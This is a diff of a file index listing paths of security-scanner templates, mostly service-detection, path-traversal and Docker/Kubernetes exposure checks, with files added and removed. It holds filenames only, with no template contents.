./poc/detect/magento-detect-1.yaml ./poc/detect/magento-detect-2.yaml -./poc/detect/magento-detect-8704.yaml ./poc/detect/magento-detect-8705.yaml ./poc/detect/magento-detect-8706.yaml +./poc/detect/magento-detect-8707.yaml ./poc/detect/magmi-detect-8714.yaml -./poc/detect/magmi-detect-8715.yaml ./poc/detect/magmi-detect-8716.yaml ./poc/detect/magmi-detect-8717.yaml ./poc/detect/mahara-version-detect.yaml ./poc/detect/maian-cart-detect-8718.yaml -./poc/detect/maian-cart-detect.yaml +./poc/detect/maian-cart-detect-8719.yaml +./poc/detect/mailoney-honeypot-detect.yaml ./poc/detect/mailoney-honeypot-detection.yaml ./poc/detect/mantis-detect-8780.yaml ./poc/detect/mantis-detect-8781.yaml @@ -44235,10 +44481,12 @@ ./poc/detect/maxforwards-headers-detect.yaml ./poc/detect/mediawiki-version-detect.yaml ./poc/detect/megarac-sp-ui-detect.yaml +./poc/detect/meilisearch-detect.yaml ./poc/detect/metabase-detect-8805.yaml ./poc/detect/metabase-detect.yaml ./poc/detect/mfiles-web-detect.yaml ./poc/detect/microsoft-echange-server-detect.yaml +./poc/detect/microsoft-exchange-server-detect-8851.yaml ./poc/detect/microsoft-exchange-server-detect-8852.yaml ./poc/detect/microsoft-exchange-server-detect-8853.yaml ./poc/detect/microsoft-exchange-server-detect.yaml @@ -44260,8 +44508,10 @@ ./poc/detect/microstrategy-detect-8.yaml ./poc/detect/microstrategy-detect-9.yaml ./poc/detect/microweber-detect-8862.yaml -./poc/detect/microweber-detect-8863.yaml +./poc/detect/microweber-detect.yaml +./poc/detect/mikrotik-ftp-server-detect.yaml ./poc/detect/mikrotik-routeros-api-detect.yaml +./poc/detect/minio-console-detect-8884.yaml ./poc/detect/minio-console-detect-8885.yaml ./poc/detect/minio-console-detect.yaml ./poc/detect/minio-detect-8892.yaml @@ -44271,12 +44521,18 @@ ./poc/detect/mitel-panel-detect.yaml ./poc/detect/mobileiron-version-detect.yaml ./poc/detect/moinmoin-detect-8915.yaml +./poc/detect/moinmoin-detect-8916.yaml ./poc/detect/moinmoin-detect-8917.yaml ./poc/detect/moinmoin-detect-8918.yaml +./poc/detect/moinmoin-detect.yaml ./poc/detect/mongodb-detect-8919.yaml +./poc/detect/mongodb-detect-8920.yaml ./poc/detect/mongodb-detect-8921.yaml +./poc/detect/mongodb-detect.yaml +./poc/detect/monstracms-detect.yaml ./poc/detect/moodle-version-detect.yaml -./poc/detect/moveit-detect.yaml +./poc/detect/moveit-sftp-detect.yaml +./poc/detect/moveit-transfer-detect.yaml ./poc/detect/mrtg-detect-1.yaml ./poc/detect/mrtg-detect-2.yaml ./poc/detect/mrtg-detect-3.yaml @@ -44286,11 +44542,14 @@ ./poc/detect/ms-adcs-detect-8960.yaml ./poc/detect/ms-adcs-detect.yaml ./poc/detect/ms-sql-detect.yaml +./poc/detect/msmq-detect.yaml ./poc/detect/mssql-detect.yaml +./poc/detect/mx-service-detector-8974.yaml ./poc/detect/mx-service-detector-8975.yaml ./poc/detect/mx-service-detector-8976.yaml ./poc/detect/mx-service-detector-8977.yaml ./poc/detect/mybb-forum-detect.yaml +./poc/detect/mysql-detect.yaml ./poc/detect/nacos-detect.yaml ./poc/detect/nameserver-detection.yaml ./poc/detect/neos-detect-9013.yaml @@ -44310,8 +44569,8 @@ ./poc/detect/nextcloud-detect-1.yaml ./poc/detect/nextcloud-detect-2.yaml ./poc/detect/nextcloud-detect-3.yaml +./poc/detect/nextcloud-detect-9080.yaml ./poc/detect/nextcloud-detect-9081.yaml -./poc/detect/nextcloud-detect.yaml ./poc/detect/nextcloud-owncloud-detect.yaml ./poc/detect/nexus-detect-9092.yaml ./poc/detect/nexus-detect-9095.yaml @@ -44325,24 +44584,25 @@ ./poc/detect/oauth2-detect-9180.yaml ./poc/detect/oauth2-detect-9182.yaml ./poc/detect/oauth2-detect-9183.yaml +./poc/detect/oauth2-detect.yaml ./poc/detect/octobercms-detect-1.yaml ./poc/detect/octobercms-detect-2.yaml ./poc/detect/octobercms-detect-9194.yaml ./poc/detect/octobercms-detect-9196.yaml ./poc/detect/oidc-detect-9216.yaml +./poc/detect/oidc-detect-9217.yaml ./poc/detect/oidc-detect-9218.yaml -./poc/detect/oidc-detect.yaml ./poc/detect/oipm-detect-9219.yaml ./poc/detect/oipm-detect-9220.yaml -./poc/detect/oipm-detect-9221.yaml +./poc/detect/oipm-detect-9222.yaml ./poc/detect/oipm-detect.yaml ./poc/detect/olivetti-crf-detect-9242.yaml -./poc/detect/olivetti-crf-detect-9244.yaml -./poc/detect/olivetti-crf-detect.yaml +./poc/detect/olivetti-crf-detect-9243.yaml ./poc/detect/oneblog-detect-9245.yaml ./poc/detect/oneblog-detect-9246.yaml ./poc/detect/oneblog-detect-9247.yaml ./poc/detect/open-virtualization-manager-detect-9325.yaml +./poc/detect/open-virtualization-manager-detect-9326.yaml ./poc/detect/openam-detect.yaml ./poc/detect/openam-detection-1.yaml ./poc/detect/openam-detection-10.yaml @@ -44363,10 +44623,10 @@ ./poc/detect/openam-detection.yaml ./poc/detect/openbmcs-detect.yaml ./poc/detect/opencast-detect-9262.yaml -./poc/detect/opencast-detect-9263.yaml ./poc/detect/opencast-detect-9264.yaml ./poc/detect/opencast-detect-9265.yaml ./poc/detect/opencast-detect-9266.yaml +./poc/detect/opencast-detect.yaml ./poc/detect/openemr-detect-9272.yaml ./poc/detect/openemr-detect-9273.yaml ./poc/detect/openemr-detect-9274.yaml @@ -44374,8 +44634,8 @@ ./poc/detect/opengear-detect.yaml ./poc/detect/opensis-detect-1.yaml ./poc/detect/opensis-detect-2.yaml -./poc/detect/opensis-detect-9314.yaml ./poc/detect/opensis-detect.yaml +./poc/detect/openssh-detect.yaml ./poc/detect/openssh-detect.yml ./poc/detect/openssh-detection.yaml ./poc/detect/openssh5.3-detect.yaml @@ -44384,43 +44644,48 @@ ./poc/detect/oracle-dbass-detect-9349.yaml ./poc/detect/oracle-dbass-detect-9350.yaml ./poc/detect/oracle-dbass-detect-9351.yaml +./poc/detect/oracle-dbass-detect.yaml ./poc/detect/owasp-juice-shop-detected-9414.yaml ./poc/detect/owasp-juice-shop-detected-9415.yaml ./poc/detect/owasp-juice-shop-detected-9416.yaml ./poc/detect/owasp-juice-shop-detected-9417.yaml -./poc/detect/owasp-juice-shop-detected.yaml +./poc/detect/owasp-juice-shop-detected-9418.yaml ./poc/detect/panel-detect.yaml ./poc/detect/parallels-hsphere-detect.yaml ./poc/detect/pega-detect-9474.yaml ./poc/detect/pega-detect-9475.yaml ./poc/detect/pega-detect-9476.yaml +./poc/detect/pega-detect.yaml ./poc/detect/pexip-detect.yaml ./poc/detect/pgsql-detect.yaml +./poc/detect/pgsql-version-detect.yaml ./poc/detect/php-proxy-detect-1.yaml ./poc/detect/php-proxy-detect-2.yaml ./poc/detect/php-proxy-detect-9544.yaml ./poc/detect/php-proxy-detect-9545.yaml ./poc/detect/phpcollab-detect-9500.yaml -./poc/detect/phpcollab-detect-9501.yaml ./poc/detect/phpcollab-detect.yaml ./poc/detect/phpmyadmin-version-detect.yaml ./poc/detect/phpmyadmin-version-detection.yaml ./poc/detect/pi-hole-detect-9580.yaml -./poc/detect/pi-hole-detect-9582.yaml +./poc/detect/pi-hole-detect-9581.yaml ./poc/detect/pi-hole-detect-9583.yaml ./poc/detect/pi-hole-detect.yaml +./poc/detect/piwigo-detect.yaml ./poc/detect/plone-cms-detect-9605.yaml ./poc/detect/plone-cms-detect-9606.yaml ./poc/detect/plone-cms-detect-9608.yaml ./poc/detect/plone-cms-detect-9609.yaml -./poc/detect/plone-cms-detect.yaml ./poc/detect/polycom-admin-detect-9624.yaml ./poc/detect/polycom-admin-detect.yaml +./poc/detect/pop3-detect.yaml ./poc/detect/ppdetect.yaml ./poc/detect/prestashop-detect.yaml +./poc/detect/privatebin-detect.yaml +./poc/detect/proftpd-server-detect.yaml ./poc/detect/programming-language-detect.yaml -./poc/detect/prometheus-exporter-detect-9674.yaml ./poc/detect/prometheus-exporter-detect-9675.yaml +./poc/detect/prometheus-exporter-detect-9676.yaml ./poc/detect/prometheus-exporter-detect.yaml ./poc/detect/prtg-detect-1.yaml ./poc/detect/prtg-detect-2.yaml @@ -44428,31 +44693,33 @@ ./poc/detect/prtg-detect-9703.yaml ./poc/detect/prtg-detect-9704.yaml ./poc/detect/prtg-detect-9705.yaml -./poc/detect/prtg-detect-9706.yaml ./poc/detect/prtg-detect.yaml ./poc/detect/prtg-version-detect.yaml ./poc/detect/pulse-secure-version-detect.yaml -./poc/detect/puppet-node-manager-detect-9720.yaml -./poc/detect/puppetdb-detect-9717.yaml +./poc/detect/puppet-node-manager-detect.yaml ./poc/detect/puppetdb-detect-9718.yaml ./poc/detect/puppetdb-detect-9719.yaml ./poc/detect/puppetserver-detect-9721.yaml +./poc/detect/puppetserver-detect-9722.yaml ./poc/detect/puppetserver-detect-9723.yaml ./poc/detect/qnap_nas_detect.yaml ./poc/detect/quantum-scalar-detect.yaml +./poc/detect/rabbitmq-detect.yaml ./poc/detect/ranger-detection.yaml ./poc/detect/rdp-detect-9838.yaml -./poc/detect/rdp-detect-9840.yaml +./poc/detect/rdp-detect-9839.yaml +./poc/detect/rdp-detect.yaml ./poc/detect/redash-detection.yaml +./poc/detect/redash-detection.yml ./poc/detect/redcap-detector-9848.yaml -./poc/detect/redcap-detector-9849.yaml +./poc/detect/redcap-detector-9850.yaml +./poc/detect/redcap-detector.yaml ./poc/detect/redfish-api-detect.yaml ./poc/detect/redfish-api-service-detect.yaml ./poc/detect/redis-detect.yaml ./poc/detect/redis-honeypot-detect.yaml ./poc/detect/redis-honeypot-detection.yaml ./poc/detect/redmine-cli-detect-9852.yaml -./poc/detect/redmine-cli-detect-9853.yaml ./poc/detect/redmine-cli-detect-9854.yaml ./poc/detect/redmine-cli-detect-9855.yaml ./poc/detect/redmine-cli-detect-9856.yaml @@ -44467,26 +44734,30 @@ ./poc/detect/remkon-manager-detect.yaml ./poc/detect/reverse-proxy-detect.yaml ./poc/detect/rhymix-cms-detect-9876.yaml -./poc/detect/rhymix-cms-detect-9877.yaml +./poc/detect/rhymix-cms-detect-9878.yaml ./poc/detect/rhymix-cms-detect-9879.yaml ./poc/detect/riak-detect.yaml ./poc/detect/room-alert-detect.yaml ./poc/detect/routeros-version-detect.yaml -./poc/detect/rseenet-detect-9916.yaml +./poc/detect/rpcbind-portmapper-detect.yaml +./poc/detect/rseenet-detect.yaml ./poc/detect/rstudio-detect-9917.yaml ./poc/detect/rstudio-detect-9918.yaml ./poc/detect/rstudio-detect.yaml +./poc/detect/rsyncd-service-detect.yaml +./poc/detect/rtsp-detect.yaml ./poc/detect/s3-detect-9962.yaml ./poc/detect/s3-detect-9963.yaml ./poc/detect/s3-detect-9965.yaml ./poc/detect/s3-detect.yaml ./poc/detect/saas-service-detection.yaml ./poc/detect/sage-detect-9976.yaml +./poc/detect/sage-detect-9977.yaml ./poc/detect/sage-detect.yaml ./poc/detect/salesforce-aura-detect.yml ./poc/detect/salesforce-credentials-detect.yml ./poc/detect/samba-detect-9988.yaml -./poc/detect/samba-detect-9990.yaml +./poc/detect/samba-detect-9989.yaml ./poc/detect/samba-detect.yaml ./poc/detect/samsung-printer-detect-9994.yaml ./poc/detect/samsung-printer-detect.yaml @@ -44498,8 +44769,8 @@ ./poc/detect/sap-netweaver-as-java-detect.yaml ./poc/detect/sap-netweaver-detect-10042.yaml ./poc/detect/sap-netweaver-detect-10043.yaml +./poc/detect/sap-netweaver-detect-10044.yaml ./poc/detect/sap-netweaver-detect-10046.yaml -./poc/detect/sap-netweaver-detect-10047.yaml ./poc/detect/sap-netweaver-detect-10048.yaml ./poc/detect/sap-netweaver-detect.yaml ./poc/detect/sap-recon-detect-10062.yaml @@ -44509,7 +44780,7 @@ ./poc/detect/saprouter-detect.yaml ./poc/detect/sceditor-detect-10092.yaml ./poc/detect/sceditor-detect-10093.yaml -./poc/detect/sceditor-detect.yaml +./poc/detect/sceditor-detect-10094.yaml ./poc/detect/schneider-electric-detect.yaml ./poc/detect/secmail-detect-10109.yaml ./poc/detect/secmail-detect-10110.yaml @@ -44519,39 +44790,41 @@ ./poc/detect/securityspy-detect-10119.yaml ./poc/detect/securityspy-detect-10120.yaml ./poc/detect/securityspy-detect.yaml -./poc/detect/seeddms-detect-10129.yaml ./poc/detect/seeddms-detect-10130.yaml +./poc/detect/seeddms-detect-10131.yaml ./poc/detect/seeddms-detect.yaml ./poc/detect/server-backup-manager-se-login-detect.yaml ./poc/detect/shiro-deserialization-detection.yaml ./poc/detect/shiro-detect-10195.yaml -./poc/detect/shiro-detect-10196.yaml ./poc/detect/shiro-detect-10197.yaml ./poc/detect/shopizer-detect-1.yaml ./poc/detect/shopizer-detect-2.yaml ./poc/detect/shopware-detect-1.yaml ./poc/detect/shopware-detect-10210.yaml -./poc/detect/shopware-detect-10211.yaml ./poc/detect/shopware-detect-10212.yaml ./poc/detect/shopware-detect-10213.yaml ./poc/detect/shopware-detect-2.yaml +./poc/detect/simplesamlphp-detect.yaml ./poc/detect/sitemap-detect.yaml ./poc/detect/sitemap-sql-detector.yaml ./poc/detect/smartstore-detect-10332.yaml ./poc/detect/smartstore-detect-10333.yaml ./poc/detect/smartstore-detect-10334.yaml ./poc/detect/smb-detect.yaml +./poc/detect/smb-os-detect.yaml ./poc/detect/smb-v1-detect.yaml ./poc/detect/smb-v1-detection-10336.yaml ./poc/detect/smb-v1-detection.yaml +./poc/detect/smb-version-detect.yaml ./poc/detect/smtp-detect.yaml ./poc/detect/smtp-detection.yaml ./poc/detect/smtp2go-detect.yaml ./poc/detect/snapdrop-detect.yaml +./poc/detect/snare-honeypot-detect.yaml ./poc/detect/snare-honeypot-detection.yaml ./poc/detect/soa-detect.yaml -./poc/detect/solarwinds-servuftp-detect-10360.yaml ./poc/detect/solarwinds-servuftp-detect-10361.yaml +./poc/detect/solarwinds-servuftp-detect-10362.yaml ./poc/detect/solarwinds-servuftp-detect.yaml ./poc/detect/solarwinds-whd-version-detect.yaml ./poc/detect/somansa-dlp-detect.yaml @@ -44566,11 +44839,13 @@ ./poc/detect/sophos-fw-version-detect.yaml ./poc/detect/sophos-mobile-panel-detection.yaml ./poc/detect/sophos-mobile-panel-detection.yml +./poc/detect/sparklighter-detect.yaml ./poc/detect/spf-record-detect.yaml ./poc/detect/spnego-detect.yaml ./poc/detect/springboot-detect.yaml ./poc/detect/sqlcipher-detection.yaml ./poc/detect/squid-detect.yaml +./poc/detect/sshd-dropbear-detect.yaml ./poc/detect/ssrf-detection.yaml ./poc/detect/starttls-mail-detect.yaml ./poc/detect/strapi-cms-detect-10537.yaml @@ -44585,10 +44860,10 @@ ./poc/detect/supermicro-logo-detect.yaml ./poc/detect/symfony-detect.yaml ./poc/detect/tableau-server-detect.yaml +./poc/detect/teamspeak3-detect.yaml ./poc/detect/tech-detect-10672.yaml ./poc/detect/tech-detect-10673.yaml ./poc/detect/tech-detect-10674.yaml -./poc/detect/tech-detect-10675.yaml ./poc/detect/tech-detect-10676.yaml ./poc/detect/tech-detect-10677.yaml ./poc/detect/tech-detect-10678.yaml @@ -44596,9 +44871,7 @@ ./poc/detect/technologies-detection-workflow.yaml ./poc/detect/telerik-dialoghandler-detect-1.yaml ./poc/detect/telerik-dialoghandler-detect-10.yaml -./poc/detect/telerik-dialoghandler-detect-10687.yaml ./poc/detect/telerik-dialoghandler-detect-10688.yaml -./poc/detect/telerik-dialoghandler-detect-10689.yaml ./poc/detect/telerik-dialoghandler-detect-10690.yaml ./poc/detect/telerik-dialoghandler-detect-10691.yaml ./poc/detect/telerik-dialoghandler-detect-11.yaml @@ -44623,13 +44896,16 @@ ./poc/detect/telerik-fileupload-detect-10696.yaml ./poc/detect/telerik-fileupload-detect-10697.yaml ./poc/detect/telerik-fileupload-detect.yaml +./poc/detect/telnet-detect.yaml ./poc/detect/terraform-detect-10705.yaml ./poc/detect/terraform-detect-10706.yaml ./poc/detect/terraform-detect-10707.yaml -./poc/detect/terraform-detect-10708.yaml ./poc/detect/terraform-detect-10709.yaml ./poc/detect/terraform-detect.yaml +./poc/detect/tftp-detect.yaml +./poc/detect/thinkcmf-detection-10717.yaml ./poc/detect/thinkcmf-detection-10718.yaml +./poc/detect/thinkcmf-detection-10719.yaml ./poc/detect/thinkcmf-detection.yaml ./poc/detect/thinkphp-debug-detected.yaml ./poc/detect/thruk-detect.yaml @@ -44643,8 +44919,9 @@ ./poc/detect/totemomail-detect-10818.yaml ./poc/detect/totemomail-detect.yaml ./poc/detect/totemomail-smtp-detect.yaml +./poc/detect/tpot-honeypot-detect.yaml ./poc/detect/trace-axd-detect-10824.yaml -./poc/detect/trace-axd-detect-10825.yaml +./poc/detect/trace-axd-detect-10826.yaml ./poc/detect/trace-axd-detect.yaml ./poc/detect/txt-service-detect.yaml ./poc/detect/tyan-logo-detect.yaml @@ -44664,18 +44941,19 @@ ./poc/detect/virtual-ema-detect-2.yaml ./poc/detect/virtual-ema-detect.yaml ./poc/detect/vmware-airwatch-version-detect.yaml +./poc/detect/vmware-authentication-daemon-detect.yaml ./poc/detect/vmware-version-detect-11055.yaml ./poc/detect/vmware-version-detect.yaml ./poc/detect/vmware-vrealize-detect-11056.yaml ./poc/detect/vmware-vrealize-detect-11057.yaml -./poc/detect/vnc-detect-11062.yaml +./poc/detect/vnc-detect-11061.yaml ./poc/detect/vnc-detect.yaml +./poc/detect/vnc-service-detect.yaml ./poc/detect/voipmonitor-detect.yaml ./poc/detect/vsftpd-detection-11074.yaml ./poc/detect/vsftpd-detection-11075.yaml ./poc/detect/vsftpd-detection-11076.yaml ./poc/detect/vsftpd-detection.yaml -./poc/detect/waf-detect-11086.yaml ./poc/detect/waf-detect-11087.yaml ./poc/detect/waf-detect-11088.yaml ./poc/detect/waf-detect-11089.yaml @@ -44683,11 +44961,12 @@ ./poc/detect/waf-detect-azure.yaml ./poc/detect/waf-detect-cloudflare.yaml ./poc/detect/waf-detect-incapsula.yaml +./poc/detect/waf-detect.yaml ./poc/detect/wagtail-cms-detect.yaml ./poc/detect/wamp-xdebug-detect-11100.yaml ./poc/detect/wamp-xdebug-detect-11101.yaml ./poc/detect/wamp-xdebug-detect-11102.yaml -./poc/detect/wamp-xdebug-detect-11104.yaml +./poc/detect/wamp-xdebug-detect-11103.yaml ./poc/detect/wamp-xdebug-detect.yaml ./poc/detect/wazuh-detect-11110.yaml ./poc/detect/wazuh-detect.yaml @@ -44697,7 +44976,6 @@ ./poc/detect/weave-scope-dashboard-detect.yaml ./poc/detect/web-framework-detect.yaml ./poc/detect/web-ftp-detect-11135.yaml -./poc/detect/web-ftp-detect-11136.yaml ./poc/detect/web-ftp-detect-11137.yaml ./poc/detect/web-ftp-detect-11138.yaml ./poc/detect/web-suite-detect-11167.yaml @@ -44705,14 +44983,15 @@ ./poc/detect/webeditors-check-detect.yaml ./poc/detect/weblogic-bea_wls_internal-detect.yaml ./poc/detect/weblogic-detect-11142.yaml +./poc/detect/weblogic-detect-11143.yaml ./poc/detect/weblogic-detect-11144.yaml ./poc/detect/weblogic-detect-11145.yaml ./poc/detect/weblogic-detect-11146.yaml ./poc/detect/weblogic-detect.yaml ./poc/detect/weblogic-iiop-detect-11148.yaml ./poc/detect/weblogic-iiop-detect.yaml -./poc/detect/weblogic-t3-detect-11151.yaml ./poc/detect/weblogic-t3-detect-11152.yaml +./poc/detect/weblogic-t3-detect-11153.yaml ./poc/detect/weblogic-t3-detect.yaml ./poc/detect/websphere-version-detect.yaml ./poc/detect/werkzeug-debugger-detect-11195.yaml @@ -44727,12 +45006,14 @@ ./poc/detect/widget-detector-elementor-6477bf18cad6c823db485408d49b337b.yaml ./poc/detect/widget-detector-elementor-cb9fa42d925b49c26314653a0263606c.yaml ./poc/detect/widget-detector-elementor.yaml +./poc/detect/wing-ftp-detect.yaml ./poc/detect/wondercms-detect-11221.yaml ./poc/detect/wondercms-detect-11222.yaml +./poc/detect/wondercms-detect-11223.yaml +./poc/detect/wondercms-detect.yaml ./poc/detect/wordpress-detect-11261.yaml ./poc/detect/wordpress-detect.yaml ./poc/detect/wordpress-detect2.yaml -./poc/detect/wordpress-gotmls-detect-11280.yaml ./poc/detect/wordpress-gotmls-detect-11281.yaml ./poc/detect/wordpress-gotmls-detect.yaml ./poc/detect/wordpress-plugins-detect-11296.yaml @@ -44747,6 +45028,7 @@ ./poc/detect/worksites-detection-11384.yaml ./poc/detect/worksites-detection-11385.yaml ./poc/detect/worksites-detection-11386.yaml +./poc/detect/worksites-detection.yaml ./poc/detect/workspaceone-uem-airwatch-dashboard-detect.yaml ./poc/detect/wp-admin-detect.yaml ./poc/detect/wp-detect.yaml @@ -44767,19 +45049,21 @@ ./poc/detect/ws_ftp-ssh-detect.yaml ./poc/detect/wsdl-detect.yaml ./poc/detect/wso2-apimanager-detect-11637.yaml +./poc/detect/wso2-apimanager-detect-11638.yaml ./poc/detect/wso2-apimanager-detect-11639.yaml ./poc/detect/wso2-apimanager-detect.yaml ./poc/detect/wuzhicms-detect-11652.yaml ./poc/detect/wuzhicms-detect-11653.yaml ./poc/detect/wuzhicms-detect-11655.yaml +./poc/detect/xlight-ftp-service-detect.yaml ./poc/detect/xml-schema-detect-11691.yaml ./poc/detect/xml-schema-detect.yaml ./poc/detect/xxljob-admin-detect-11707.yaml ./poc/detect/xxljob-admin-detect.yaml ./poc/detect/yapi-detect-11719.yaml ./poc/detect/yapi-detect-11720.yaml -./poc/detect/yapi-detect-11721.yaml ./poc/detect/yapi-detect-11722.yaml +./poc/detect/yapi-detect.yaml ./poc/detect/yellowfin-bi-version-detect.yaml ./poc/detect/yongyou-nc-beanshell-detect.yaml ./poc/detect/yzmcms-detect-11751.yaml @@ -44793,7 +45077,7 @@ ./poc/detect/zentral-detection.yaml ./poc/detect/zentral-detection.yml ./poc/detect/zm-system-log-detect-1.yaml -./poc/detect/zm-system-log-detect-11834.yaml +./poc/detect/zm-system-log-detect-11833.yaml ./poc/detect/zm-system-log-detect-2.yaml ./poc/detect/zm-system-log-detect.yaml ./poc/directory_listing/Apexis-IPCAM-directory-traversal.yaml @@ -44805,7 +45089,7 @@ ./poc/directory_listing/aero-cms-directory-traversal.yaml ./poc/directory_listing/apache-httpd-cve-2021-41773-path-traversal.yml ./poc/directory_listing/bitrix-path-traversal.yaml -./poc/directory_listing/carel-bacnet-gateway-traversal-858.yaml +./poc/directory_listing/carel-bacnet-gateway-traversal.yaml ./poc/directory_listing/carel-pcoweb-hvac-bacnet-gateway-directory-traversal.yaml ./poc/directory_listing/changjet-tplus-downloadproxy-traversal.yaml ./poc/directory_listing/citrix-cve-2019-19781-path-traversal.yml @@ -44813,6 +45097,7 @@ ./poc/directory_listing/custom-solr-path-traversal.yaml ./poc/directory_listing/digitalrebar-traversal-6996.yaml ./poc/directory_listing/digitalrebar-traversal-6997.yaml +./poc/directory_listing/digitalrebar-traversal.yaml ./poc/directory_listing/dir-traversal.yaml ./poc/directory_listing/directory-traversal.yaml ./poc/directory_listing/django-directory-traversal.yaml @@ -44821,10 +45106,10 @@ ./poc/directory_listing/ecology-fileDownload-directoryTraversal.yaml ./poc/directory_listing/ecology-filedownload-directory-traversal-7171.yaml ./poc/directory_listing/ecology-filedownload-directory-traversal-7172.yaml -./poc/directory_listing/ecology-filedownload-directory-traversal.yaml ./poc/directory_listing/ecology-filedownload-directory-traversal.yml ./poc/directory_listing/ecology-jqueryfiletree-directory-traversal.yaml -./poc/directory_listing/ecology-springframework-directory-traversal-7175.yaml +./poc/directory_listing/ecology-springframework-directory-traversal-7174.yaml +./poc/directory_listing/ecology-springframework-directory-traversal.yaml ./poc/directory_listing/ecology-springframework-directory-traversal.yml ./poc/directory_listing/ecology-springframework-directoryTraversal.yaml ./poc/directory_listing/elfinder-path-traversal-7203.yaml @@ -44844,6 +45129,7 @@ ./poc/directory_listing/flir-path-traversal-7518.yaml ./poc/directory_listing/flir-path-traversal-7519.yaml ./poc/directory_listing/flir-path-traversal-7520.yaml +./poc/directory_listing/flir-path-traversal-7521.yaml ./poc/directory_listing/flir-path-traversal-7522.yaml ./poc/directory_listing/flir-path-traversal-7523.yaml ./poc/directory_listing/forked-daapd-path-traversal.yaml @@ -44857,24 +45143,24 @@ ./poc/directory_listing/kingdee-eas-DirectoryTraversal.yaml ./poc/directory_listing/kingdee-eas-directory-traversal-8488.yaml ./poc/directory_listing/kingdee-eas-directory-traversal-8489.yaml -./poc/directory_listing/kingdee-eas-directory-traversal.yaml ./poc/directory_listing/kingdee-eas-directory-traversal.yml ./poc/directory_listing/natshell-path-traversal-9005.yaml +./poc/directory_listing/natshell-path-traversal-9006.yaml ./poc/directory_listing/natshell-path-traversal-9007.yaml ./poc/directory_listing/natshell-path-traversal-9008.yaml +./poc/directory_listing/natshell-path-traversal.yaml ./poc/directory_listing/netmizer-log-management-data-directory-traversal.yaml ./poc/directory_listing/nexusdb-cve-2020-24571-path-traversal.yml ./poc/directory_listing/nginx-merge-slashes-path-traversal-1.yaml ./poc/directory_listing/nginx-merge-slashes-path-traversal-2.yaml ./poc/directory_listing/nginx-merge-slashes-path-traversal-3.yaml ./poc/directory_listing/nginx-merge-slashes-path-traversal-9104.yaml -./poc/directory_listing/nginx-merge-slashes-path-traversal.yaml +./poc/directory_listing/nginx-merge-slashes-path-traversal-9105.yaml ./poc/directory_listing/nginx_path_traversal.yaml ./poc/directory_listing/nuxt-path-traversal.yaml ./poc/directory_listing/oa-tongda-path-traversal-9175.yaml ./poc/directory_listing/oa-tongda-path-traversal-9176.yaml ./poc/directory_listing/oa-tongda-path-traversal-9177.yaml -./poc/directory_listing/oa-tongda-path-traversal-9178.yaml ./poc/directory_listing/oa-tongda-path-traversal.yaml ./poc/directory_listing/path-traversal-exposure.yaml ./poc/directory_listing/path-traversal.yaml @@ -44886,15 +45172,15 @@ ./poc/directory_listing/pmb-directory-traversal-9613.yaml ./poc/directory_listing/pmb-directory-traversal-9614.yaml ./poc/directory_listing/tpshop-directory-traversal-10821.yaml +./poc/directory_listing/tpshop-directory-traversal-10822.yaml ./poc/directory_listing/tpshop-directory-traversal-10823.yaml ./poc/directory_listing/tpshop-directory-traversal.yml ./poc/directory_listing/weiphp-path-traversal.yaml ./poc/directory_listing/weiphp-path-traversal.yml -./poc/directory_listing/wooyun-path-traversal-11229.yaml ./poc/directory_listing/wooyun-path-traversal-11230.yaml ./poc/directory_listing/wooyun-path-traversal-11231.yaml +./poc/directory_listing/wooyun-path-traversal-11232.yaml ./poc/directory_listing/wooyun-path-traversal-11233.yaml -./poc/directory_listing/wooyun-path-traversal.yaml ./poc/directory_listing/wordpress-duplicator-path-traversal.yaml ./poc/directory_listing/wp-duplicator-path-traversal.yaml ./poc/directory_listing/yongyou-fe-templateoftaohong-manager-path-traversal.yaml @@ -44903,10 +45189,10 @@ ./poc/directory_listing/zeit-nodejs-cve-2020-5284-directory-traversal.yml ./poc/docker/Kubernetes-unauth.yaml ./poc/docker/amazon-docker-config-279.yaml -./poc/docker/amazon-docker-config-disclosure-278.yaml +./poc/docker/amazon-docker-config-280.yaml ./poc/docker/amazon-docker-config-disclosure.yaml -./poc/docker/amazon-docker-config.yaml ./poc/docker/aws-ecs-container-agent-tasks-640.yaml +./poc/docker/aws-ecs-container-agent-tasks-641.yaml ./poc/docker/aws-ecs-container-agent-tasks.yaml ./poc/docker/container-registry-exposure.yaml ./poc/docker/docker-api-detection.yaml @@ -44923,6 +45209,7 @@ ./poc/docker/docker-compose-config-7.yaml ./poc/docker/docker-compose-config-7057.yaml ./poc/docker/docker-compose-config-7058.yaml +./poc/docker/docker-compose-config-7059.yaml ./poc/docker/docker-compose-config.yml ./poc/docker/docker-compose.debug.yml ./poc/docker/docker-compose.yaml @@ -44944,11 +45231,11 @@ ./poc/docker/dockercfg-config-1.yaml ./poc/docker/dockercfg-config-2.yaml ./poc/docker/dockercfg-config-7056.yaml -./poc/docker/dockercfg-config.yaml ./poc/docker/dockercfg.yaml ./poc/docker/dockerfile-disclosure.yaml ./poc/docker/dockerfile-hidden-disclosure-1.yaml ./poc/docker/dockerfile-hidden-disclosure-2.yaml +./poc/docker/dockerfile-hidden-disclosure-7061.yaml ./poc/docker/dockerfile-hidden-disclosure-7062.yaml ./poc/docker/dockerfile-hidden-disclosure-7063.yaml ./poc/docker/dockerfile-hidden-disclosure.yaml @@ -44958,12 +45245,13 @@ ./poc/docker/exposed-docker-api-2.yaml ./poc/docker/exposed-docker-api-7299.yaml ./poc/docker/exposed-docker-api-7300.yaml +./poc/docker/exposed-dockerd.yaml ./poc/docker/flask-redis-docker.yaml ./poc/docker/kubernetes-api-detect.yaml ./poc/docker/kubernetes-dashboard-8526.yaml ./poc/docker/kubernetes-dashboard.yaml ./poc/docker/kubernetes-enterprise-manager-8527.yaml -./poc/docker/kubernetes-enterprise-manager-8529.yaml +./poc/docker/kubernetes-enterprise-manager-8528.yaml ./poc/docker/kubernetes-enterprise-manager-8530.yaml ./poc/docker/kubernetes-enterprise-manager.yaml ./poc/docker/kubernetes-etcd-keys.yaml @@ -44976,28 +45264,30 @@ ./poc/docker/kubernetes-mirantis-8537.yaml ./poc/docker/kubernetes-mirantis-8538.yaml ./poc/docker/kubernetes-mirantis-8539.yaml +./poc/docker/kubernetes-mirantis-8540.yaml ./poc/docker/kubernetes-mirantis-8541.yaml ./poc/docker/kubernetes-mirantis.yaml ./poc/docker/kubernetes-pods-1.yaml ./poc/docker/kubernetes-pods-2.yaml ./poc/docker/kubernetes-pods-8542.yaml +./poc/docker/kubernetes-pods-8543.yaml ./poc/docker/kubernetes-pods-8544.yaml +./poc/docker/kubernetes-pods-8545.yaml ./poc/docker/kubernetes-pods-8546.yaml 